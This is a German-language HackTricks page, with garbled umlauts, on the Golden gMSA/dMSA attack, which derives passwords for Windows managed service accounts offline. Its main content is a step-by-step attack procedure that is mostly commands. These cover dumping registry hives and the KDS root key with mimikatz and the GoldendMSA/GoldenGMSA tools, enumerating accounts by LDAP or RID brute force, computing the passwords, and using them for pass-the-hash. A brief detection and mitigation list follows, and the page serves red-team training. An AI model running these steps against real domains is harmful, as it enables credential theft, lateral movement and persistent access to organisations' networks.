Golden gMSA/dMSA Angriff (Offline-Ableitung von Passwörtern fĂŒr verwaltete Dienstkonten)
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Ăbersicht
Windows Managed Service Accounts (MSA) sind spezielle Prinzipien, die entwickelt wurden, um Dienste auszufĂŒhren, ohne dass die Passwörter manuell verwaltet werden mĂŒssen. Es gibt zwei Hauptvarianten:
- gMSA â gruppiertes Managed Service Account â kann auf mehreren Hosts verwendet werden, die in seinem
msDS-GroupMSAMembershipAttribut autorisiert sind. - dMSA â delegiertes Managed Service Account â der (Vorschau) Nachfolger von gMSA, der auf derselben Kryptografie basiert, aber granularere Delegationsszenarien ermöglicht.
FĂŒr beide Varianten wird das Passwort nicht auf jedem Domain Controller (DC) wie ein regulĂ€rer NT-Hash gespeichert. Stattdessen kann jeder DC das aktuelle Passwort on-the-fly ableiten von:
- Dem forestweiten KDS Root Key (
KRBTGT\KDS) â zufĂ€llig generierter GUID-benannter Geheimnis, das zu jedem DC unter dem ContainerCN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, âŠrepliziert wird. - Der Zielkonto SID.
- Eine pro-Konto ManagedPasswordID (GUID), die im
msDS-ManagedPasswordIdAttribut gefunden wird.
Die Ableitung ist: AES256_HMAC( KDSRootKey , SID || ManagedPasswordID ) â 240 Byte Blob, das schlieĂlich base64-kodiert und im msDS-ManagedPassword Attribut gespeichert wird. Kein Kerberos-Verkehr oder DomĂ€neninteraktion ist wĂ€hrend der normalen Passwortnutzung erforderlich â ein Mitglieds-Host leitet das Passwort lokal ab, solange es die drei Eingaben kennt.
Golden gMSA / Golden dMSA Angriff
Wenn ein Angreifer alle drei Eingaben offline erhalten kann, kann er gĂŒltige aktuelle und zukĂŒnftige Passwörter fĂŒr jedes gMSA/dMSA im Forest berechnen, ohne den DC erneut zu berĂŒhren, wodurch umgangen wird:
- LDAP-Leseaudits
- PasswortÀnderungsintervalle (sie können vorab berechnen)
Dies ist analog zu einem Golden Ticket fĂŒr Dienstkonten.
Voraussetzungen
- Forest-weite Kompromittierung von einem DC (oder Enterprise Admin) oder
SYSTEM-Zugriff auf einen der DCs im Forest. - FĂ€higkeit, Dienstkonten aufzulisten (LDAP-Lesen / RID-Brute-Force).
- .NET â„ 4.7.2 x64 Arbeitsstation, um
GoldenDMSAoder gleichwertigen Code auszufĂŒhren.
Golden gMSA / dMSA
Phase 1 â Extrahieren des KDS Root Key
Dump von jedem DC (Volume Shadow Copy / rohe SAM+SECURITY-Hives oder entfernte Geheimnisse):
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM system.hive
# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch # shows KDS root keys too
# With GoldendMSA
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
GoldendMSA.exe kds
# With GoldenGMSA
GoldenGMSA.exe kdsinfo
Der base64-String mit der Bezeichnung RootKey (GUID-Name) wird in spÀteren Schritten benötigt.
Phase 2 â gMSA / dMSA-Objekte auflisten
Rufen Sie mindestens sAMAccountName, objectSid und msDS-ManagedPasswordId ab:
# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
GoldenGMSA.exe gmsainfo
GoldenDMSA implementiert Hilfsmodi:
# LDAP enumeration (kerberos / simple bind)
GoldendMSA.exe info -d example.local -m ldap
# RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
Phase 3 â Erraten / Entdecken der ManagedPasswordID (wenn fehlend)
Einige Bereitstellungen entfernen msDS-ManagedPasswordId von ACL-geschĂŒtzten LesevorgĂ€ngen.
Da die GUID 128-Bit ist, ist naives Brute-Forcing unpraktisch, aber:
- Die ersten 32 Bit = Unix-Epochenzeit der Kontoerstellung (Minutenauflösung).
- Gefolgt von 96 zufÀlligen Bits.
Daher ist eine enge Wortliste pro Konto (± wenige Stunden) realistisch.
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
Das Tool berechnet Kandidatenpasswörter und vergleicht deren Base64-Blob mit dem echten msDS-ManagedPassword-Attribut â die Ăbereinstimmung zeigt die korrekte GUID an.
Phase 4 â Offline-Passwortberechnung & -konvertierung
Sobald die ManagedPasswordID bekannt ist, ist das gĂŒltige Passwort nur einen Befehl entfernt:
# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
Die resultierenden Hashes können mit mimikatz (sekurlsa::pth) oder Rubeus fĂŒr Kerberos-Missbrauch injiziert werden, was stealth lateral movement und persistence ermöglicht.
Detection & Mitigation
- BeschrÀnken Sie die DC-Backup- und Registrierungshive-Lese-FÀhigkeiten auf Tier-0-Administratoren.
- Ăberwachen Sie die Erstellung des Directory Services Restore Mode (DSRM) oder der Volume Shadow Copy auf DCs.
- Protokollieren Sie LesevorgĂ€nge / Ănderungen an
CN=Master Root Keys,âŠunduserAccountControl-Flags von Dienstkonten. - Erkennen Sie ungewöhnliche base64 PasswortschreibvorgĂ€nge oder plötzliche Wiederverwendung von Dienstpasswörtern ĂŒber Hosts hinweg.
- Ziehen Sie in Betracht, hochprivilegierte gMSAs in klassische Dienstkonten mit regelmĂ€Ăigen zufĂ€lligen Rotationen umzuwandeln, wo eine Tier-0-Isolation nicht möglich ist.
Tooling
Semperis/GoldenDMSAâ Referenzimplementierung, die auf dieser Seite verwendet wird.Semperis/GoldenGMSAâ Referenzimplementierung, die auf dieser Seite verwendet wird.mimikatzâlsadump::secrets,sekurlsa::pth,kerberos::ptt.Rubeusâ pass-the-ticket unter Verwendung abgeleiteter AES-SchlĂŒssel.
References
- Golden dMSA â authentication bypass for delegated Managed Service Accounts
- gMSA Active Directory Attacks Accounts
- Semperis/GoldenDMSA GitHub repository
- Improsec â Golden gMSA trust attack
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


